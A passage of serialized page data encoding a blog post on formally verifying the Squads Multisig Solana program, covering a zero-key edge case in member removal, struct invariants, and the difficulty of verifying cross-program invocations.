],{"type":32,"value":68742},{"type":26,"tag":217,"props":145480,"children":145481},{"class":7028,"line":7672},[145482,145486,145490,145494,145498,145502],{"type":26,"tag":217,"props":145483,"children":145484},{"style":7054},[145485],{"type":32,"value":143877},{"type":26,"tag":217,"props":145487,"children":145488},{"style":7149},[145489],{"type":32,"value":1473},{"type":26,"tag":217,"props":145491,"children":145492},{"style":7119},[145493],{"type":32,"value":90919},{"type":26,"tag":217,"props":145495,"children":145496},{"style":7048},[145497],{"type":32,"value":65337},{"type":26,"tag":217,"props":145499,"children":145500},{"style":7149},[145501],{"type":32,"value":13251},{"type":26,"tag":217,"props":145503,"children":145504},{"style":7048},[145505],{"type":32,"value":143898},{"type":26,"tag":217,"props":145507,"children":145508},{"class":7028,"line":7681},[145509],{"type":26,"tag":217,"props":145510,"children":145511},{"style":7048},[145512],{"type":32,"value":7184},{"type":26,"tag":39,"props":145514,"children":145515},{},[145516],{"type":32,"value":145517},"Interestingly, the multisig has 0 keys and yet this instruction does not error. Let's take a closer look to figure out why:",{"type":26,"tag":39,"props":145519,"children":145520},{},[145521,145523,145529],{"type":32,"value":145522},"Inside our handler, we see that it only checks if the number of keys exactly equals 1. Otherwise it invokes ",{"type":26,"tag":83,"props":145524,"children":145526},{"className":145525},[],[145527],{"type":32,"value":145528},"Ms::remove_member",{"type":32,"value":1473},{"type":26,"tag":207,"props":145531,"children":145533},{"code":145532,"language":56139,"meta":8,"className":56140,"style":8},"if ctx.accounts.multisig.keys.len() == 1 {\n    return err!(MsError::CannotRemoveSoloMember);\n}\nctx.accounts.multisig.remove_member(old_member)?;\n",[145534],{"type":26,"tag":83,"props":145535,"children":145536},{"__ignoreMap":8},[145537,145596,145627,145634],{"type":26,"tag":217,"props":145538,"children":145539},{"class":7028,"line":7029},[145540,145544,145548,145552,145556,145560,145564,145568,145572,145576,145580,145584,145588,145592],{"type":26,"tag":217,"props":145541,"children":145542},{"style":7042},[145543],{"type":32,"value":7045},{"type":26,"tag":217,"props":145545,"children":145546},{"style":7054},[145547],{"type":32,"value":79708},{"type":26,"tag":217,"props":145549,"children":145550},{"style":7149},[145551],{"type":32,"value":180},{"type":26,"tag":217,"props":145553,"children":145554},{"style":7048},[145555],{"type":32,"value":91204},{"type":26,"tag":217,"props":145557,"children":145558},{"style":7149},[145559],{"type":32,"value":180},{"type":26,"tag":217,"props":145561,"children":145562},{"style":7048},[145563],{"type":32,"value":142307},{"type":26,"tag":217,"props":145565,"children":145566},{"style":7149},[145567],{"type":32,"value":180},{"type":26,"tag":217,"props":145569,"children":145570},{"style":7048},[145571],{"type":32,"value":78574},{"type":26,"tag":217,"props":145573,"children":145574},{"style":7149},[145575],{"type":32,"value":180},{"type":26,"tag":217,"props":145577,"children":145578},{"style":7064},[145579],{"type":32,"value":15325},{"type":26,"tag":217,"props":145581,"children":145582},{"style":7048},[145583],{"type":32,"value":61808},{"type":26,"tag":217,"props":145585,"children":145586},{"style":7149},[145587],{"type":32,"value":9106},{"type":26,"tag":217,"props":145589,"children":145590},{"style":7130},[145591],{"type":32,"value":9742},{"type":26,"tag":217,"props":145593,"children":145594},{"style":7048},[145595],{"type":32,"value":8064},{"type":26,"tag":217,"props":145597,"children":145598},{"class":7028,"line":6770},[145599,145603,145607,145611,145615,145619,145623],{"type":26,"tag":217,"props":145600,"children":145601},{"style":7042},[145602],{"type":32,"value":7171},{"type":26,"tag":217,"props":145604,"children":145605},{"style":7064},[145606],{"type":32,"value":142024},{"type":26,"tag":217,"props":145608,"children":145609},{"style":7048},[145610],{"type":32,"value":1851},{"type":26,"tag":217,"props":145612,"children":145613},{"style":7119},[145614],{"type":32,"value":142033},{"type":26,"tag":217,"props":145616,"children":145617},{"style":7149},[145618],{"type":32,"value":56166},{"type":26,"tag":217,"props":145620,"children":145621},{"style":7119},[145622],{"type":32,"value":144404},{"type":26,"tag":217,"props":145624,"children":145625},{"style":7048},[145626],{"type":32,"value":7669},{"type":26,"tag":217,"props":145628,"children":145629},{"class":7028,"line":6779},[145630],{"type":26,"tag":217,"props":145631,"children":145632},{"style":7048},[145633],{"type":32,"value":7184},{"type":26,"tag":217,"props":145635,"children":145636},{"class":7028,"line":7140},[145637,145641,145645,145649,145653,145657,145661,145665,145669,145673,145677,145681],{"type":26,"tag":217,"props":145638,"children":145639},{"style":7054},[145640],{"type":32,"value":79895},{"type":26,"tag":217,"props":145642,"children":145643},{"style":7149},[145644],{"type":32,"value":180},{"type":26,"tag":217,"props":145646,"children":145647},{"style":7048},[145648],{"type":32,"value":91204},{"type":26,"tag":217,"props":145650,"children":145651},{"style":7149},[145652],{"type":32,"value":180},{"type":26,"tag":217,"props":145654,"children":145655},{"style":7048},[145656],{"type":32,"value":142307},{"type":26,"tag":217,"props":145658,"children":145659},{"style":7149},[145660],{"type":32,"value":180},{"type":26,"tag":217,"props":145662,"children":145663},{"style":7064},[145664],{"type":32,"value":143953},{"type":26,"tag":217,"props":145666,"children":145667},{"style":7048},[145668],{"type":32,"value":1851},{"type":26,"tag":217,"props":145670,"children":145671},{"style":7054},[145672],{"type":32,"value":144285},{"type":26,"tag":217,"props":145674,"children":145675},{"style":7048},[145676],{"type":32,"value":1889},{"type":26,"tag":217,"props":145678,"children":145679},{"style":7149},[145680],{"type":32,"value":605},{"type":26,"tag":217,"props":145682,"children":145683},{"style":7048},[145684],{"type":32,"value":7162},{"type":26,"tag":39,"props":145686,"children":145687},{},[145688,145690,145696,145698,145704],{"type":32,"value":145689},"In that function, it checks if the member to remove is contained in that multisig (with ",{"type":26,"tag":83,"props":145691,"children":145693},{"className":145692},[],[145694],{"type":32,"value":145695},"Ms::is_member",{"type":32,"value":145697},") and if it is not, it simply skips the removal and returns ",{"type":26,"tag":83,"props":145699,"children":145701},{"className":145700},[],[145702],{"type":32,"value":145703},"Ok(())",{"type":32,"value":180},{"type":26,"tag":207,"props":145706,"children":145708},{"code":145707,"language":56139,"meta":8,"className":56140,"style":8},"pub fn remove_member(&mut self, member: Pubkey) -> Result\u003C()> {\n    if let Some(ind) = self.is_member(member) {\n        self.keys.remove(ind);\n        if self.keys.len() \u003C usize::from(self.threshold) {\n            self.threshold = self.keys.len().try_into().unwrap();\n        }\n    }\n    Ok(())\n}\n",[145709],{"type":26,"tag":83,"props":145710,"children":145711},{"__ignoreMap":8},[145712,145776,145833,145870,145929,145997,146004,146011,146022],{"type":26,"tag":217,"props":145713,"children":145714},{"class":7028,"line":7029},[145715,145719,145723,145727,145731,145735,145739,145743,145747,145752,145756,145760,145764,145768,145772],{"type":26,"tag":217,"props":145716,"children":145717},{"style":7154},[145718],{"type":32,"value":56830},{"type":26,"tag":217,"props":145720,"children":145721},{"style":7154},[145722],{"type":32,"value":56835},{"type":26,"tag":217,"props":145724,"children":145725},{"style":7064},[145726],{"type":32,"value":144251},{"type":26,"tag":217,"props":145728,"children":145729},{"style":7048},[145730],{"type":32,"value":1851},{"type":26,"tag":217,"props":145732,"children":145733},{"style":7149},[145734],{"type":32,"value":9804},{"type":26,"tag":217,"props":145736,"children":145737},{"style":7154},[145738],{"type":32,"value":90786},{"type":26,"tag":217,"props":145740,"children":145741},{"style":7154},[145742],{"type":32,"value":92589},{"type":26,"tag":217,"props":145744,"children":145745},{"style":7048},[145746],{"type":32,"value":7599},{"type":26,"tag":217,"props":145748,"children":145749},{"style":7054},[145750],{"type":32,"value":145751},"member",{"type":26,"tag":217,"props":145753,"children":145754},{"style":7149},[145755],{"type":32,"value":1473},{"type":26,"tag":217,"props":145757,"children":145758},{"style":7119},[145759],{"type":32,"value":93283},{"type":26,"tag":217,"props":145761,"children":145762},{"style":7048},[145763],{"type":32,"value":8380},{"type":26,"tag":217,"props":145765,"children":145766},{"style":7149},[145767],{"type":32,"value":10115},{"type":26,"tag":217,"props":145769,"children":145770},{"style":7119},[145771],{"type":32,"value":56945},{"type":26,"tag":217,"props":145773,"children":145774},{"style":7048},[145775],{"type":32,"value":91163},{"type":26,"tag":217,"props":145777,"children":145778},{"class":7028,"line":6770},[145779,145783,145787,145791,145795,145800,145804,145808,145812,145816,145821,145825,145829],{"type":26,"tag":217,"props":145780,"children":145781},{"style":7042},[145782],{"type":32,"value":9710},{"type":26,"tag":217,"props":145784,"children":145785},{"style":7154},[145786],{"type":32,"value":97421},{"type":26,"tag":217,"props":145788,"children":145789},{"style":7119},[145790],{"type":32,"value":97426},{"type":26,"tag":217,"props":145792,"children":145793},{"style":7048},[145794],{"type":32,"value":1851},{"type":26,"tag":217,"props":145796,"children":145797},{"style":7054},[145798],{"type":32,"value":145799},"ind",{"type":26,"tag":217,"props":145801,"children":145802},{"style":7048},[145803],{"type":32,"value":8380},{"type":26,"tag":217,"props":145805,"children":145806},{"style":7149},[145807],{"type":32,"value":267},{"type":26,"tag":217,"props":145809,"children":145810},{"style":7154},[145811],{"type":32,"value":92589},{"type":26,"tag":217,"props":145813,"children":145814},{"style":7149},[145815],{"type":32,"value":180},{"type":26,"tag":217,"props":145817,"children":145818},{"style":7064},[145819],{"type":32,"value":145820},"is_member",{"type":26,"tag":217,"props":145822,"children":145823},{"style":7048},[145824],{"type":32,"value":1851},{"type":26,"tag":217,"props":145826,"children":145827},{"style":7054},[145828],{"type":32,"value":145751},{"type":26,"tag":217,"props":145830,"children":145831},{"style":7048},[145832],{"type":32,"value":7618},{"type":26,"tag":217,"props":145834,"children":145835},{"class":7028,"line":6779},[145836,145841,145845,145849,145853,145858,145862,145866],{"type":26,"tag":217,"props":145837,"children":145838},{"style":7154},[145839],{"type":32,"value":145840},"        self",{"type":26,"tag":217,"props":145842,"children":145843},{"style":7149},[145844],{"type":32,"value":180},{"type":26,"tag":217,"props":145846,"children":145847},{"style":7048},[145848],{"type":32,"value":78574},{"type":26,"tag":217,"props":145850,"children":145851},{"style":7149},[145852],{"type":32,"value":180},{"type":26,"tag":217,"props":145854,"children":145855},{"style":7064},[145856],{"type":32,"value":145857},"remove",{"type":26,"tag":217,"props":145859,"children":145860},{"style":7048},[145861],{"type":32,"value":1851},{"type":26,"tag":217,"props":145863,"children":145864},{"style":7054},[145865],{"type":32,"value":145799},{"type":26,"tag":217,"props":145867,"children":145868},{"style":7048},[145869],{"type":32,"value":7669},{"type":26,"tag":217,"props":145871,"children":145872},{"class":7028,"line":7140},[145873,145877,145881,145885,145889,145893,145897,145901,145905,145909,145913,145917,145921,145925],{"type":26,"tag":217,"props":145874,"children":145875},{"style":7042},[145876],{"type":32,"value":12497},{"type":26,"tag":217,"props":145878,"children":145879},{"style":7154},[145880],{"type":32,"value":92589},{"type":26,"tag":217,"props":145882,"children":145883},{"style":7149},[145884],{"type":32,"value":180},{"type":26,"tag":217,"props":145886,"children":145887},{"style":7048},[145888],{"type":32,"value":78574},{"type":26,"tag":217,"props":145890,"children":145891},{"style":7149},[145892],{"type":32,"value":180},{"type":26,"tag":217,"props":145894,"children":145895},{"style":7064},[145896],{"type":32,"value":15325},{"type":26,"tag":217,"props":145898,"children":145899},{"style":7048},[145900],{"type":32,"value":144529},{"type":26,"tag":217,"props":145902,"children":145903},{"style":7119},[145904],{"type":32,"value":144534},{"type":26,"tag":217,"props":145906,"children":145907},{"style":7149},[145908],{"type":32,"value":56166},{"type":26,"tag":217,"props":145910,"children":145911},{"style":7064},[145912],{"type":32,"value":98448},{"type":26,"tag":217,"props":145914,"children":145915},{"style":7048},[145916],{"type":32,"value":1851},{"type":26,"tag":217,"props":145918,"children":145919},{"style":7154},[145920],{"type":32,"value":91922},{"type":26,"tag":217,"props":145922,"children":145923},{"style":7149},[145924],{"type":32,"value":180},{"type":26,"tag":217,"props":145926,"children":145927},{"style":7048},[145928],{"type":32,"value":144575},{"type":26,"tag":217,"props":145930,"children":145931},{"class":7028,"line":7165},[145932,145937,145941,145945,145949,145953,145957,145961,145965,145969,145973,145977,145981,145985,145989,145993],{"type":26,"tag":217,"props":145933,"children":145934},{"style":7154},[145935],{"type":32,"value":145936},"            self",{"type":26,"tag":217,"props":145938,"children":145939},{"style":7149},[145940],{"type":32,"value":180},{"type":26,"tag":217,"props":145942,"children":145943},{"style":7048},[145944],{"type":32,"value":139615},{"type":26,"tag":217,"props":145946,"children":145947},{"style":7149},[145948],{"type":32,"value":267},{"type":26,"tag":217,"props":145950,"children":145951},{"style":7154},[145952],{"type":32,"value":92589},{"type":26,"tag":217,"props":145954,"children":145955},{"style":7149},[145956],{"type":32,"value":180},{"type":26,"tag":217,"props":145958,"children":145959},{"style":7048},[145960],{"type":32,"value":78574},{"type":26,"tag":217,"props":145962,"children":145963},{"style":7149},[145964],{"type":32,"value":180},{"type":26,"tag":217,"props":145966,"children":145967},{"style":7064},[145968],{"type":32,"value":15325},{"type":26,"tag":217,"props":145970,"children":145971},{"style":7048},[145972],{"type":32,"value":78002},{"type":26,"tag":217,"props":145974,"children":145975},{"style":7149},[145976],{"type":32,"value":180},{"type":26,"tag":217,"props":145978,"children":145979},{"style":7064},[145980],{"type":32,"value":120897},{"type":26,"tag":217,"props":145982,"children":145983},{"style":7048},[145984],{"type":32,"value":78002},{"type":26,"tag":217,"props":145986,"children":145987},{"style":7149},[145988],{"type":32,"value":180},{"type":26,"tag":217,"props":145990,"children":145991},{"style":7064},[145992],{"type":32,"value":97935},{"type":26,"tag":217,"props":145994,"children":145995},{"style":7048},[145996],{"type":32,"value":8217},{"type":26,"tag":217,"props":145998,"children":145999},{"class":7028,"line":7178},[146000],{"type":26,"tag":217,"props":146001,"children":146002},{"style":7048},[146003],{"type":32,"value":8722},{"type":26,"tag":217,"props":146005,"children":146006},{"class":7028,"line":7389},[146007],{"type":26,"tag":217,"props":146008,"children":146009},{"style":7048},[146010],{"type":32,"value":9754},{"type":26,"tag":217,"props":146012,"children":146013},{"class":7028,"line":7406},[146014,146018],{"type":26,"tag":217,"props":146015,"children":146016},{"style":7119},[146017],{"type":32,"value":78087},{"type":26,"tag":217,"props":146019,"children":146020},{"style":7048},[146021],{"type":32,"value":91763},{"type":26,"tag":217,"props":146023,"children":146024},{"class":7028,"line":7439},[146025],{"type":26,"tag":217,"props":146026,"children":146027},{"style":7048},[146028],{"type":32,"value":7184},{"type":26,"tag":39,"props":146030,"children":146031},{},[146032,146034,146039,146041,146047,146049,146055,146057,146062],{"type":32,"value":146033},"Inside ",{"type":26,"tag":83,"props":146035,"children":146037},{"className":146036},[],[146038],{"type":32,"value":145695},{"type":32,"value":146040},", we see that it performs a ",{"type":26,"tag":83,"props":146042,"children":146044},{"className":146043},[],[146045],{"type":32,"value":146046},"binary_search",{"type":32,"value":146048}," on the keys vec and returns the index or ",{"type":26,"tag":83,"props":146050,"children":146052},{"className":146051},[],[146053],{"type":32,"value":146054},"None",{"type":32,"value":146056},". Since the vec has size zero, this will just return ",{"type":26,"tag":83,"props":146058,"children":146060},{"className":146059},[],[146061],{"type":32,"value":146054},{"type":32,"value":180},{"type":26,"tag":207,"props":146064,"children":146066},{"code":146065,"language":56139,"meta":8,"className":56140,"style":8},"pub fn is_member(&self, member: Pubkey) -> Option\u003Cusize> {\n    match self.keys.binary_search(&member) {\n        Ok(ind) => Some(ind),\n        _ => None,\n    }\n}\n",[146067],{"type":26,"tag":83,"props":146068,"children":146069},{"__ignoreMap":8},[146070,146138,146182,146221,146240,146247],{"type":26,"tag":217,"props":146071,"children":146072},{"class":7028,"line":7029},[146073,146077,146081,146086,146090,146094,146098,146102,146106,146110,146114,146118,146122,146126,146130,146134],{"type":26,"tag":217,"props":146074,"children":146075},{"style":7154},[146076],{"type":32,"value":56830},{"type":26,"tag":217,"props":146078,"children":146079},{"style":7154},[146080],{"type":32,"value":56835},{"type":26,"tag":217,"props":146082,"children":146083},{"style":7064},[146084],{"type":32,"value":146085}," is_member",{"type":26,"tag":217,"props":146087,"children":146088},{"style":7048},[146089],{"type":32,"value":1851},{"type":26,"tag":217,"props":146091,"children":146092},{"style":7149},[146093],{"type":32,"value":9804},{"type":26,"tag":217,"props":146095,"children":146096},{"style":7154},[146097],{"type":32,"value":91922},{"type":26,"tag":217,"props":146099,"children":146100},{"style":7048},[146101],{"type":32,"value":7599},{"type":26,"tag":217,"props":146103,"children":146104},{"style":7054},[146105],{"type":32,"value":145751},{"type":26,"tag":217,"props":146107,"children":146108},{"style":7149},[146109],{"type":32,"value":1473},{"type":26,"tag":217,"props":146111,"children":146112},{"style":7119},[146113],{"type":32,"value":93283},{"type":26,"tag":217,"props":146115,"children":146116},{"style":7048},[146117],{"type":32,"value":8380},{"type":26,"tag":217,"props":146119,"children":146120},{"style":7149},[146121],{"type":32,"value":10115},{"type":26,"tag":217,"props":146123,"children":146124},{"style":7119},[146125],{"type":32,"value":93360},{"type":26,"tag":217,"props":146127,"children":146128},{"style":7048},[146129],{"type":32,"value":7289},{"type":26,"tag":217,"props":146131,"children":146132},{"style":7119},[146133],{"type":32,"value":144534},{"type":26,"tag":217,"props":146135,"children":146136},{"style":7048},[146137],{"type":32,"value":77772},{"type":26,"tag":217,"props":146139,"children":146140},{"class":7028,"line":6770},[146141,146146,146150,146154,146158,146162,146166,146170,146174,146178],{"type":26,"tag":217,"props":146142,"children":146143},{"style":7042},[146144],{"type":32,"value":146145},"    match",{"type":26,"tag":217,"props":146147,"children":146148},{"style":7154},[146149],{"type":32,"value":92589},{"type":26,"tag":217,"props":146151,"children":146152},{"style":7149},[146153],{"type":32,"value":180},{"type":26,"tag":217,"props":146155,"children":146156},{"style":7048},[146157],{"type":32,"value":78574},{"type":26,"tag":217,"props":146159,"children":146160},{"style":7149},[146161],{"type":32,"value":180},{"type":26,"tag":217,"props":146163,"children":146164},{"style":7064},[146165],{"type":32,"value":146046},{"type":26,"tag":217,"props":146167,"children":146168},{"style":7048},[146169],{"type":32,"value":1851},{"type":26,"tag":217,"props":146171,"children":146172},{"style":7149},[146173],{"type":32,"value":9804},{"type":26,"tag":217,"props":146175,"children":146176},{"style":7054},[146177],{"type":32,"value":145751},{"type":26,"tag":217,"props":146179,"children":146180},{"style":7048},[146181],{"type":32,"value":7618},{"type":26,"tag":217,"props":146183,"children":146184},{"class":7028,"line":6779},[146185,146189,146193,146197,146201,146205,146209,146213,146217],{"type":26,"tag":217,"props":146186,"children":146187},{"style":7119},[146188],{"type":32,"value":91758},{"type":26,"tag":217,"props":146190,"children":146191},{"style":7048},[146192],{"type":32,"value":1851},{"type":26,"tag":217,"props":146194,"children":146195},{"style":7054},[146196],{"type":32,"value":145799},{"type":26,"tag":217,"props":146198,"children":146199},{"style":7048},[146200],{"type":32,"value":8380},{"type":26,"tag":217,"props":146202,"children":146203},{"style":7149},[146204],{"type":32,"value":8059},{"type":26,"tag":217,"props":146206,"children":146207},{"style":7119},[146208],{"type":32,"value":97426},{"type":26,"tag":217,"props":146210,"children":146211},{"style":7048},[146212],{"type":32,"value":1851},{"type":26,"tag":217,"props":146214,"children":146215},{"style":7054},[146216],{"type":32,"value":145799},{"type":26,"tag":217,"props":146218,"children":146219},{"style":7048},[146220],{"type":32,"value":13841},{"type":26,"tag":217,"props":146222,"children":146223},{"class":7028,"line":7140},[146224,146228,146232,146236],{"type":26,"tag":217,"props":146225,"children":146226},{"style":7054},[146227],{"type":32,"value":89583},{"type":26,"tag":217,"props":146229,"children":146230},{"style":7149},[146231],{"type":32,"value":8190},{"type":26,"tag":217,"props":146233,"children":146234},{"style":7119},[146235],{"type":32,"value":97514},{"type":26,"tag":217,"props":146237,"children":146238},{"style":7048},[146239],{"type":32,"value":10953},{"type":26,"tag":217,"props":146241,"children":146242},{"class":7028,"line":7165},[146243],{"type":26,"tag":217,"props":146244,"children":146245},{"style":7048},[146246],{"type":32,"value":9754},{"type":26,"tag":217,"props":146248,"children":146249},{"class":7028,"line":7178},[146250],{"type":26,"tag":217,"props":146251,"children":146252},{"style":7048},[146253],{"type":32,"value":7184},{"type":26,"tag":39,"props":146255,"children":146256},{},[146257,146259,146264,146266,146271,146273,146278,146280,146285],{"type":32,"value":146258},"So interestingly, a ",{"type":26,"tag":83,"props":146260,"children":146262},{"className":146261},[],[146263],{"type":32,"value":78574},{"type":32,"value":146265}," vec of size 0 ",{"type":26,"tag":65,"props":146267,"children":146268},{},[146269],{"type":32,"value":146270},"is actually",{"type":32,"value":146272}," a sufficient condition to execute ",{"type":26,"tag":83,"props":146274,"children":146276},{"className":146275},[],[146277],{"type":32,"value":143953},{"type":32,"value":146279},". However would it ever actually happen? Well we know from before that when we create the multisig, the threshold must be less than or equal to the number of keys and also greater than zero. So in any ",{"type":26,"tag":65,"props":146281,"children":146282},{},[146283],{"type":32,"value":146284},"valid",{"type":32,"value":146286}," multisig, the number of keys should never be zero.",{"type":26,"tag":39,"props":146288,"children":146289},{},[146290,146292,146297],{"type":32,"value":146291},"We can represent this ",{"type":26,"tag":65,"props":146293,"children":146294},{},[146295],{"type":32,"value":146296},"validity",{"type":32,"value":146298}," with a struct invariant. In fact the invariant we defined earlier will be sufficient:",{"type":26,"tag":207,"props":146300,"children":146302},{"code":146301,"language":56139,"meta":8,"className":56140,"style":8},"#[invariant(\n    (self.threshold >= 1)\n    && (self.threshold as usize \u003C= self.keys.len())\n)]\npub struct Ms { ... }\n",[146303],{"type":26,"tag":83,"props":146304,"children":146305},{"__ignoreMap":8},[146306,146313,146336,146387,146394],{"type":26,"tag":217,"props":146307,"children":146308},{"class":7028,"line":7029},[146309],{"type":26,"tag":217,"props":146310,"children":146311},{"style":7048},[146312],{"type":32,"value":139327},{"type":26,"tag":217,"props":146314,"children":146315},{"class":7028,"line":6770},[146316,146320,146324,146328,146332],{"type":26,"tag":217,"props":146317,"children":146318},{"style":7048},[146319],{"type":32,"value":143221},{"type":26,"tag":217,"props":146321,"children":146322},{"style":7149},[146323],{"type":32,"value":180},{"type":26,"tag":217,"props":146325,"children":146326},{"style":7048},[146327],{"type":32,"value":139615},{"type":26,"tag":217,"props":146329,"children":146330},{"style":7149},[146331],{"type":32,"value":70795},{"type":26,"tag":217,"props":146333,"children":146334},{"style":7048},[146335],{"type":32,"value":139624},{"type":26,"tag":217,"props":146337,"children":146338},{"class":7028,"line":6779},[146339,146343,146347,146351,146355,146359,146363,146367,146371,146375,146379,146383],{"type":26,"tag":217,"props":146340,"children":146341},{"style":7149},[146342],{"type":32,"value":93735},{"type":26,"tag":217,"props":146344,"children":146345},{"style":7048},[146346],{"type":32,"value":139548},{"type":26,"tag":217,"props":146348,"children":146349},{"style":7149},[146350],{"type":32,"value":180},{"type":26,"tag":217,"props":146352,"children":146353},{"style":7048},[146354],{"type":32,"value":139615},{"type":26,"tag":217,"props":146356,"children":146357},{"style":7154},[146358],{"type":32,"value":91735},{"type":26,"tag":217,"props":146360,"children":146361},{"style":7119},[146362],{"type":32,"value":94410},{"type":26,"tag":217,"props":146364,"children":146365},{"style":7149},[146366],{"type":32,"value":92297},{"type":26,"tag":217,"props":146368,"children":146369},{"style":7048},[146370],{"type":32,"value":92589},{"type":26,"tag":217,"props":146372,"children":146373},{"style":7149},[146374],{"type":32,"value":180},{"type":26,"tag":217,"props":146376,"children":146377},{"style":7048},[146378],{"type":32,"value":78574},{"type":26,"tag":217,"props":146380,"children":146381},{"style":7149},[146382],{"type":32,"value":180},{"type":26,"tag":217,"props":146384,"children":146385},{"style":7048},[146386],{"type":32,"value":139676},{"type":26,"tag":217,"props":146388,"children":146389},{"class":7028,"line":7140},[146390],{"type":26,"tag":217,"props":146391,"children":146392},{"style":7048},[146393],{"type":32,"value":90743},{"type":26,"tag":217,"props":146395,"children":146396},{"class":7028,"line":7165},[146397,146401,146405,146409,146413,146417],{"type":26,"tag":217,"props":146398,"children":146399},{"style":7154},[146400],{"type":32,"value":56830},{"type":26,"tag":217,"props":146402,"children":146403},{"style":7154},[146404],{"type":32,"value":77038},{"type":26,"tag":217,"props":146406,"children":146407},{"style":7119},[146408],{"type":32,"value":139699},{"type":26,"tag":217,"props":146410,"children":146411},{"style":7048},[146412],{"type":32,"value":65337},{"type":26,"tag":217,"props":146414,"children":146415},{"style":7149},[146416],{"type":32,"value":13251},{"type":26,"tag":217,"props":146418,"children":146419},{"style":7048},[146420],{"type":32,"value":65351},{"type":26,"tag":39,"props":146422,"children":146423},{},[146424,146426,146432,146434,146440],{"type":32,"value":146425},"The use of a struct invariant allows us to define (and verify) the possible states that an account can be in at the start and end of an instruction. In this case, our struct invariant rules out the case where ",{"type":26,"tag":83,"props":146427,"children":146429},{"className":146428},[],[146430],{"type":32,"value":146431},"keys.len() == 0",{"type":32,"value":146433}," and allows us to prove the biconditional ",{"type":26,"tag":83,"props":146435,"children":146437},{"className":146436},[],[146438],{"type":32,"value":146439},"(keys.len() >= 1) -> (instruction succeeds)",{"type":32,"value":180},{"type":26,"tag":607,"props":146442,"children":146444},{"id":146443},"safety-guarantees",[146445],{"type":32,"value":141299},{"type":26,"tag":39,"props":146447,"children":146448},{},[146449],{"type":32,"value":146450},"Formal verification is an awesome technique but it is not perfect. There are situations where things are not possible to formally verify and you need to resort to other methods.",{"type":26,"tag":39,"props":146452,"children":146453},{},[146454],{"type":32,"value":146455},"In particular, one of the difficult-to-verify parts of the Squads Multisig program is cross-program-invocation. Specifically, since cross-program-invocation executes foreign code, it is difficult (if not impossible) to verify whether this will succeed or fail.",{"type":26,"tag":39,"props":146457,"children":146458},{},[146459,146461,146467],{"type":32,"value":146460},"In the multisig program this happens in the ",{"type":26,"tag":83,"props":146462,"children":146464},{"className":146463},[],[146465],{"type":32,"value":146466},"execute_transaction",{"type":32,"value":146468}," instruction.",{"type":26,"tag":39,"props":146470,"children":146471},{},[146472],{"type":26,"tag":65,"props":146473,"children":146474},{},[146475],{"type":32,"value":146476},"So what do you do?",{"type":26,"tag":39,"props":146478,"children":146479},{},[146480],{"type":32,"value":146481},"For example, in a worst-case scenario you could imagine a situation like the following:",{"type":26,"tag":207,"props":146483,"children":146485},{"code":146484,"language":56139,"meta":8,"className":56140,"style":8},"#[derive(Accounts)]\npub MyCtx {\n    #[account(mut)]\n    pub my_account: Account\u003C'info, Acc>\n}\n\n#[account]\n#[invariant(bad == false)]\nstruct Acc {\n    pub bad: bool\n}\n\nimpl Acc {\n    pub fn put_into_bad_state() {\n        self.bad = true;\n    }\n}\n\n// Instruction handler:\nfn hard_to_verify(ctx: Context\u003CMyCtx>) -> Result\u003C()> {\n    invoke_signed(...); // Cross-program invocation\n\n    let invoke_res = ...; // fetch result of invocation\n    if invoke_res == 5 {\n        ctx.my_account.put_into_bad_state(); // corrupt our account\n    }\n    Ok(())\n}\n",[146486],{"type":26,"tag":83,"props":146487,"children":146488},{"__ignoreMap":8},[146489,146504,146520,146535,146576,146583,146590,146597,146614,146630,146651,146658,146665,146680,146700,146728,146735,146742,146749,146757,146810,146835,146842,146871,146895,146929,146936,146947],{"type":26,"tag":217,"props":146490,"children":146491},{"class":7028,"line":7029},[146492,146496,146500],{"type":26,"tag":217,"props":146493,"children":146494},{"style":7048},[146495],{"type":32,"value":90733},{"type":26,"tag":217,"props":146497,"children":146498},{"style":7119},[146499],{"type":32,"value":90738},{"type":26,"tag":217,"props":146501,"children":146502},{"style":7048},[146503],{"type":32,"value":90743},{"type":26,"tag":217,"props":146505,"children":146506},{"class":7028,"line":6770},[146507,146511,146516],{"type":26,"tag":217,"props":146508,"children":146509},{"style":7154},[146510],{"type":32,"value":56830},{"type":26,"tag":217,"props":146512,"children":146513},{"style":7119},[146514],{"type":32,"value":146515}," MyCtx",{"type":26,"tag":217,"props":146517,"children":146518},{"style":7048},[146519],{"type":32,"value":8064},{"type":26,"tag":217,"props":146521,"children":146522},{"class":7028,"line":6779},[146523,146527,146531],{"type":26,"tag":217,"props":146524,"children":146525},{"style":7048},[146526],{"type":32,"value":90781},{"type":26,"tag":217,"props":146528,"children":146529},{"style":7154},[146530],{"type":32,"value":90786},{"type":26,"tag":217,"props":146532,"children":146533},{"style":7048},[146534],{"type":32,"value":90743},{"type":26,"tag":217,"props":146536,"children":146537},{"class":7028,"line":7140},[146538,146542,146547,146551,146555,146559,146563,146567,146572],{"type":26,"tag":217,"props":146539,"children":146540},{"style":7154},[146541],{"type":32,"value":90798},{"type":26,"tag":217,"props":146543,"children":146544},{"style":7054},[146545],{"type":32,"value":146546}," my_account",{"type":26,"tag":217,"props":146548,"children":146549},{"style":7149},[146550],{"type":32,"value":1473},{"type":26,"tag":217,"props":146552,"children":146553},{"style":7119},[146554],{"type":32,"value":90812},{"type":26,"tag":217,"props":146556,"children":146557},{"style":7048},[146558],{"type":32,"value":90764},{"type":26,"tag":217,"props":146560,"children":146561},{"style":7119},[146562],{"type":32,"value":90769},{"type":26,"tag":217,"props":146564,"children":146565},{"style":7048},[146566],{"type":32,"value":7599},{"type":26,"tag":217,"props":146568,"children":146569},{"style":7119},[146570],{"type":32,"value":146571},"Acc",{"type":26,"tag":217,"props":146573,"children":146574},{"style":7048},[146575],{"type":32,"value":7281},{"type":26,"tag":217,"props":146577,"children":146578},{"class":7028,"line":7165},[146579],{"type":26,"tag":217,"props":146580,"children":146581},{"style":7048},[146582],{"type":32,"value":7184},{"type":26,"tag":217,"props":146584,"children":146585},{"class":7028,"line":7178},[146586],{"type":26,"tag":217,"props":146587,"children":146588},{"emptyLinePlaceholder":17},[146589],{"type":32,"value":7817},{"type":26,"tag":217,"props":146591,"children":146592},{"class":7028,"line":7389},[146593],{"type":26,"tag":217,"props":146594,"children":146595},{"style":7048},[146596],{"type":32,"value":139319},{"type":26,"tag":217,"props":146598,"children":146599},{"class":7028,"line":7406},[146600,146605,146609],{"type":26,"tag":217,"props":146601,"children":146602},{"style":7048},[146603],{"type":32,"value":146604},"#[invariant(bad ",{"type":26,"tag":217,"props":146606,"children":146607},{"style":7149},[146608],{"type":32,"value":9106},{"type":26,"tag":217,"props":146610,"children":146611},{"style":7048},[146612],{"type":32,"value":146613}," 